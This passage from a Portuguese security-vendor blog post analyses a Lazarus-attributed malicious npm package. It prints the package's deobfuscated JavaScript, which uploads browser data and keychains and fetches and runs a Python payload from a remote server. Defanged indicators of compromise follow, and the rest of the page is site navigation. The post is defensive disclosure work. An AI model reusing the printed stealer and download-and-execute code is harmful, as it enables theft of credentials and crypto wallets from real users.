        extractFile(_0x37a8dc);
      } catch (_0x177129) {}
    });
  }
};
function Ht() {
  setTimeout(() => {
    runP();
  }, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
  if ('w' == platform[0]) {
    if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
      (() => {
        const _0x2f7a17 = homeDir + "/.npl";
        const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
        try {
          fs.rmSync(_0x2f7a17);
        } catch (_0x3bd9ea) {}
        request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
          if (!_0x9dd16b) {
            try {
              fs.writeFileSync(_0x2f7a17, _0x3de797);
              ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
            } catch (_0x527428) {}
          }
        });
      })();
    } else {
      runP();
    }
  } else {
    (() => {
      request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
        if (!_0x20405e) {
          fs.writeFileSync(homeDir + "/.npl", _0x1add23);
          ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
        }
      });
    })();
  }
});
var M = 0;
const main = async () => {
  try {
    const _0x153de8 = Math.round(new Date().getTime() / 1000);
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x153de8);
        await UpAppData(R, 1, _0x153de8);
        await UpAppData(X, 2, _0x153de8);
        uploadMozilla(_0x153de8);
        uploadEs(_0x153de8);
        if ('w' == platform[0]) {
          await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x153de8);
        } else {
          await UpUserData(Q, 0, _0x153de8);
          await UpUserData(R, 1, _0x153de8);
          await UpUserData(X, 2, _0x153de8);
        }
      } catch (_0x324883) {}
    })();
    Xt();
  } catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main();
  } else {
    clearInterval(Ct);
  }
}, 30000);


Aqui podemos ver a atividade sorrateira que os atacantes estavam a tentar fazer. Neste caso, trata-se de um manual muito clássico. Exatamente o mesmo tipo de carga útil que vimos em muitos ataques, por exemplo, o exploit UA-pajser. 

  • Roubo de carteiras de criptomoedas.
  • Roubo de caches do navegador.
  • Roubar porta-chaves.
  • Descarregar e executar cargas úteis adicionais.

Mas os clássicos são clássicos por uma razão: normalmente funcionam e são a forma mais rápida/fácil de lucrar com um ataque à cadeia de abastecimento, ao mesmo tempo que se tem a oportunidade de se deslocar lateralmente e persistir no ataque em diferentes ambientes. 

Essa carga útil não é desconhecida para nós, reconhecemos imediatamente como sendo do grupo de hackers norte-coreano patrocinado pelo estado, Lazarus. Um dos grupos de hackers mais sofisticados do planeta que recentemente roubou US $ 1,5 bilhão de Ethereum da Crypto Exchange ByBit (aparentemente isso não é suficiente) 

Mantenha o malware fora das suas aplicações!

A Aikido acaba de lançar o seu feed de ameaças de deteção de malware que monitoriza registos públicos como o NPMjs e utiliza uma combinação de scanners tradicionais e modelos de IA treinados para identificar quando foram introduzidos pacotes maliciosos ou quando pacotes anteriormente benignos se tornaram maliciosos. Pode ver pacotes maliciosos como este no nosso feed público de ameaças de malware em intel.aikido.dev .

Principais conclusões

Há várias conclusões interessantes, para além do facto de até os agentes de ameaças de estados-nação cometerem erros estúpidos. A maior delas é que tentar esconder-se dá sempre nas vistas.

Normalmente, o Lazarus ofuscou seu código com ferramentas comuns de ofuscação. No entanto, eles podem ser facilmente desofuscados, e a presença de ofuscação por si só irá desencadear uma análise mais aprofundada e escrutínio do pacote.

O facto de tentarem "esconder" o payload malicioso dos olhos humanos, como fizeram, é inteligente. Mas ao fazê-lo, de facto, também introduzem mais sinais. Porque grandes quantidades de espaços em branco como esse não são normais. Tentar esconder-se vai sempre gerar mais sinais que podemos aproveitar para a deteção.

É por isso que eles tentaram mover a maior parte da carga útil para um servidor remoto que é buscado em tempo de execução. Mas a ação de ir buscar algo a um servidor também introduz mais sinais de deteção. 

Tudo coisas que podem ser trivialmente detectadas através do nosso vasto conjunto de técnicas de deteção com que treinamos os nossos sistemas de deteção de IA. Quanto mais se tentarem esconder, mais facilmente serão detectados. 

Veja o vídeo
‍

‍

Indicadores do Grupo Lazarus

Podemos atribuir este malware ao grupo Lazarus devido a várias impressões digitais dentro da carga útil, bem como a alguns indicadores adicionais abaixo.

IPs

  • 144.172.96[.]80

URLs

  • hxxp://144.172.96[.]80:1224/client/106/106
  • hxxp://144.172.96[.]80:1224/uploads 
  • hxxp://144.172.96[.]80:1224/pdown
  • https://ipcheck-production.up.railway[.]app/106

contas npm

  • pdec212

Contas Github

  • pdec9690

Escrito por Charlie Eriksen

Investigador de malware

Partilhar:

https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers

Índice:
Ligação de texto
Partilhar:
Utilizar o teclado
Utilizar a tecla esquerda para navegar para a página anterior do Aikido
Utilizar a tecla de seta para a direita para navegar para o diapositivo seguinte
para navegar pelos artigos
Por
Charlie Eriksen

Está convidado: Distribuir malware através de convites do Google Calendar e PUAs

Malware
13 de maio de 2025
Ler mais
Por
Mackenzie Jackson

Por que atualizar imagens de base de contêineres é tão difícil (e como torná-lo mais fácil)

Engenharia
12 de maio de 2025
Ler mais
Por
Charlie Eriksen

RATatatouille: Uma receita maliciosa escondida no rand-user-agent (Supply Chain Compromise)

6 de maio de 2025
Ler mais
Por
Charlie Eriksen

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia

Malware
22 de abril de 2025
Ler mais
Por
Charlie Eriksen

O guia de encontros de malware: Compreender os tipos de malware no NPM

Malware
10 de abril de 2025
Ler mais
Por
Charlie Eriksen

Esconder-se e falhar: Malware ofuscado, cargas úteis vazias e travessuras do npm

Malware
3 de abril de 2025
Ler mais
Por
Madeline Lawrence

Lançamento do malware Aikido - Open Source Threat Feed

Notícias
31 de março de 2025
Ler mais
Por
A equipa de Aikido

Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

Guias
27 de março de 2025
Ler mais
Por
Madeline Lawrence

Obter o TL;DR: tj-actions/changed-files Ataque à cadeia de abastecimento

Notícias
16 de março de 2025
Ler mais
Por
Mackenzie Jackson

Uma lista de verificação de segurança do Docker sem barreiras para o programador preocupado com as vulnerabilidades

Guias
6 de março de 2025
Ler mais
Por
Mackenzie Jackson

Deteção e bloqueio de ataques de injeção de SQL em JavaScript

Guias
4 de março de 2025
Ler mais
Por
Floris Van den Abeele

Prisma e PostgreSQL vulneráveis à injeção NoSQL? Um risco de segurança surpreendente explicado

Engenharia
14 de fevereiro de 2025
Ler mais
Por
A equipa de Aikido

Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025

Guias
12 de fevereiro de 2025
Ler mais
Por
Willem Delbare

Lançando o Opengrep | Por que fizemos o fork do Semgrep

Notícias
24 de janeiro de 2025
Ler mais
Por
Thomas Segura

O seu cliente necessita de correção da vulnerabilidade NIS2. E agora?

14 de janeiro de 2025
Ler mais
Por
Mackenzie Jackson

As 10 principais ferramentas SAST com IA em 2025

Guias
10 de janeiro de 2025
Ler mais
Por
Madeline Lawrence

Snyk vs Aikido Security | G2 Reviews Alternativa ao Snyk

Guias
10 de janeiro de 2025
Ler mais
Por
Mackenzie Jackson

As 10 principais ferramentas de análise de composição de software (SCA) em 2025

Guias
9 de janeiro de 2025
Ler mais
Por
Michiel Denis

3 passos fundamentais para reforçar a conformidade e a gestão do risco

27 de dezembro de 2024
Ler mais
Por
Mackenzie Jackson

O guia de código aberto da startup para segurança de aplicações

Guias
23 de dezembro de 2024
Ler mais
Por
Madeline Lawrence

Iniciar o Aikido para a IA do Cursor

Engenharia
13 de dezembro de 2024
Ler mais
Por
Mackenzie Jackson

Conheça a Intel: O feed de ameaças de código aberto do Aikido alimentado por LLMs.

Engenharia
13 de dezembro de 2024
Ler mais
Por
Johan De Keulenaer

Aikido junta-se à Rede de Parceiros AWS

Notícias
26 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Injeção de comando em 2024 descompactado

Engenharia
24 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Path Traversal em 2024 - O ano em aberto

Engenharia
23 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Equilíbrio de segurança: Quando utilizar ferramentas de código aberto vs. ferramentas comerciais

Guias
15 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

O estado da injeção de SQL

Guias
8 de novembro de 2024
Ler mais
Por
Michiel Denis

O reforço da segurança da Visma com o Aikido: Uma conversa com Nikolai Brogaard

Notícias
6 de novembro de 2024
Ler mais
Por
Michiel Denis

Segurança em FinTech: Perguntas e respostas com Dan Kindler, cofundador e CTO da Bound

Notícias
10 de outubro de 2024
Ler mais
Por
Félix Garriau

As 7 principais ferramentas ASPM em 2025

Guias
1 de outubro de 2024
Ler mais
Por
Madeline Lawrence

Automatizar a conformidade com SprintoGRC x Aikido

Notícias
11 de setembro de 2024
Ler mais
Por
Félix Garriau

Como criar um SBOM para auditorias de software

Guias
9 de setembro de 2024
Ler mais
Por
Madeline Lawrence

SAST vs DAST: O que é preciso saber.

Guias
2 de setembro de 2024
Ler mais
Por
Félix Garriau

Melhores ferramentas SBOM para desenvolvedores: Nossas 2025 escolhas

Guias
7 de agosto de 2024
Ler mais
Por
Lieven Oosterlinck

5 alternativas ao Snyk e por que razão são melhores

Notícias
5 de agosto de 2024
Ler mais
Por
Madeline Lawrence

Porque é que estamos entusiasmados com a parceria com a Laravel

Notícias
8 de julho de 2024
Ler mais
Por
Félix Garriau

110 000 sítios afectados pelo ataque à cadeia de abastecimento Polyfill

Notícias
27 de junho de 2024
Ler mais
Por
Félix Garriau

Fundamentos de cibersegurança para empresas de tecnologia jurídica

Notícias
25 de junho de 2024
Ler mais
Por
Roeland Delrue

Integração do Drata - Como automatizar a gestão de vulnerabilidades técnicas

Guias
18 de junho de 2024
Ler mais
Por
Joel Hans

Guia de bricolage: "Construir ou comprar" o seu kit de ferramentas de segurança de aplicações e de digitalização de códigos OSS

Guias
11 de junho de 2024
Ler mais
Por
Roeland Delrue

Certificação SOC 2: 5 coisas que aprendemos

Guias
4 de junho de 2024
Ler mais
Por
Joel Hans

Os 10 principais problemas de segurança das aplicações e como se proteger

Guias
28 de maio de 2024
Ler mais
Por
Madeline Lawrence

Acabámos de angariar 17 milhões de dólares para a Série A

Notícias
2 de maio de 2024
Ler mais
Por

As melhores ferramentas RASP para programadores em 2025

10 de abril de 2024
Ler mais
Por
Willem Delbare

Lista de verificação da segurança do webhook: Como criar webhooks seguros

Guias
4 de abril de 2024
Ler mais
Por
Willem Delbare

A cura para a síndrome de fadiga dos alertas de segurança

Engenharia
21 de fevereiro de 2024
Ler mais
Por
Roeland Delrue

NIS2: Quem é afetado?

Guias
16 de janeiro de 2024
Ler mais
Por
Roeland Delrue

Certificação ISO 27001: 8 coisas que aprendemos

Guias
5 de dezembro de 2023
Ler mais
Por
Roeland Delrue

O Cronos Group escolhe a Aikido Security para reforçar a postura de segurança das suas empresas e clientes

Notícias
30 de novembro de 2023
Ler mais
Por
Bart Jonckheere

Como é que a Loctax utiliza o Aikido Security para se livrar de alertas de segurança irrelevantes e falsos positivos

Notícias
22 de novembro de 2023
Ler mais
Por
Félix Garriau

A Aikido Security angaria 5 milhões de euros para oferecer uma solução de segurança sem descontinuidades às empresas SaaS em crescimento

Notícias
9 de novembro de 2023
Ler mais
Por
Roeland Delrue

Aikido Security atinge a conformidade com a norma ISO 27001:2022

Notícias
8 de novembro de 2023
Ler mais
Por
Félix Garriau

Como o CTO da StoryChief usa o Aikido Security para dormir melhor à noite

Notícias
24 de outubro de 2023
Ler mais
Por
Willem Delbare

O que é um CVE?

Guias
17 de outubro de 2023
Ler mais
Por
Félix Garriau

Melhores ferramentas para deteção de fim de vida: classificações de 2025

Guias
4 de outubro de 2023
Ler mais
Por
Willem Delbare

As 3 principais vulnerabilidades de segurança das aplicações Web em 2024

Engenharia
27 de setembro de 2023
Ler mais
Por
Félix Garriau

Novas funcionalidades de segurança do Aikido: agosto de 2023

Notícias
22 de agosto de 2023
Ler mais
Por
Félix Garriau

Lista de verificação de segurança do CTO SaaS 2025 da Aikido

Notícias
10 de agosto de 2023
Ler mais
Por
Félix Garriau

Lista de verificação de segurança SaaS CTO 2024 da Aikido

Notícias
10 de agosto de 2023
Ler mais
Por
Félix Garriau

15 principais desafios de segurança de código e nuvem revelados pelos CTOs

Engenharia
25 de julho de 2023
Ler mais
Por
Willem Delbare

O que é o OWASP Top 10?

Guias
12 de julho de 2023
Ler mais
Por
Willem Delbare

Como criar um painel de administração seguro para a sua aplicação SaaS

Guias
11 de julho de 2023
Ler mais
Por
Roeland Delrue

Como se preparar para a ISO 27001:2022

Guias
5 de julho de 2023
Ler mais
Por
Willem Delbare

Prevenir as consequências da pirataria informática da sua plataforma CI/CD

Guias
19 de junho de 2023
Ler mais
Por
Félix Garriau

Como fechar negócios mais rapidamente com um relatório de avaliação de segurança

Notícias
12 de junho de 2023
Ler mais
Por
Willem Delbare

Automatizar a gestão de vulnerabilidades técnicas [SOC 2]

Guias
5 de junho de 2023
Ler mais
Por
Willem Delbare

Prevenir a poluição de protótipos no seu repositório

Guias
1 de junho de 2023
Ler mais
Por
Willem Delbare

Como é que um CTO de uma startup SaaS consegue equilibrar a velocidade de desenvolvimento e a segurança?

Guias
16 de maio de 2023
Ler mais
Por
Willem Delbare

Como a nuvem de uma startup foi dominada por um simples formulário que envia e-mails

Engenharia
10 de abril de 2023
Ler mais
Por
Félix Garriau

A Aikido Security angaria 2 milhões de euros de pré-semente para criar uma plataforma de segurança de software para programadores

Notícias
19 de janeiro de 2023
Ler mais
Por

Porque é que os ficheiros de bloqueio são importantes para a segurança da cadeia de abastecimento

Ler mais
Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025
Por
A equipa de Aikido

Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

Guias
14 de maio de 2025
Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025
Por
A equipa de Aikido

Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025

Guias
14 de maio de 2025
Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia
Por
Charlie Eriksen

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia

Malware
31 de março de 2025

Obter segurança em 32 segundos

Ligue a sua conta GitHub, GitLab, Bitbucket ou Azure DevOps para começar a analisar os seus repositórios gratuitamente.

Comece de graça
Os seus dados não serão partilhados - Acesso só de leitura
Painel de controlo do Aikido
Empresa
ProdutoPreçosSobreCarreirasContactoSeja nosso parceiro
Recursos
DocumentosDocumentos públicos da APIBase de dados de vulnerabilidadesBlogueIntegraçõesGlossárioKit de imprensaComentários de clientes
Segurança
Centro de ConfiançaVisão geral da segurançaAlterar as preferências de cookies
Jurídico
Política de privacidadePolítica de cookiesTermos de utilizaçãoContrato Principal de SubscriçãoAcordo de processamento de dados
Casos de utilização
ConformidadeSAST E DASTASPMGestão de vulnerabilidadesGerar SBOMsSegurança do WordPressProteja o seu códigoAikido para a Microsoft
Indústrias
Para a HealthTechPara a MedTechPara a FinTechPara SecurityTechPara a LegalTechPara HRTechPara as agênciasPara empresasPara empresas de capital de risco e de grupo
Comparar
vs Todos os fornecedorescontra Snykcontra Wizvs Mendvs Orca Securityvs Veracodevs Segurança avançada do GitHubvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Ligar
hello@aikido.dev
LinkedInX
Subscrever
Mantenha-se a par de todas as actualizações
Ainda não é o caso.
👋🏻 Obrigado! Está inscrito.
Equipa de Aikido
Ainda não é o caso.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Endereço registado: Coupure Rechts 88, 9000, Ghent, Bélgica
🇪🇺 Endereço do escritório: Gebroeders van Eyckstraat 2, 9000, Ghent, Bélgica
🇺🇸 Endereço do escritório: 95 Third St, 2nd Fl, São Francisco, CA 94103, EUA
SOC 2
Conformidade
ISO 27001
Conformidade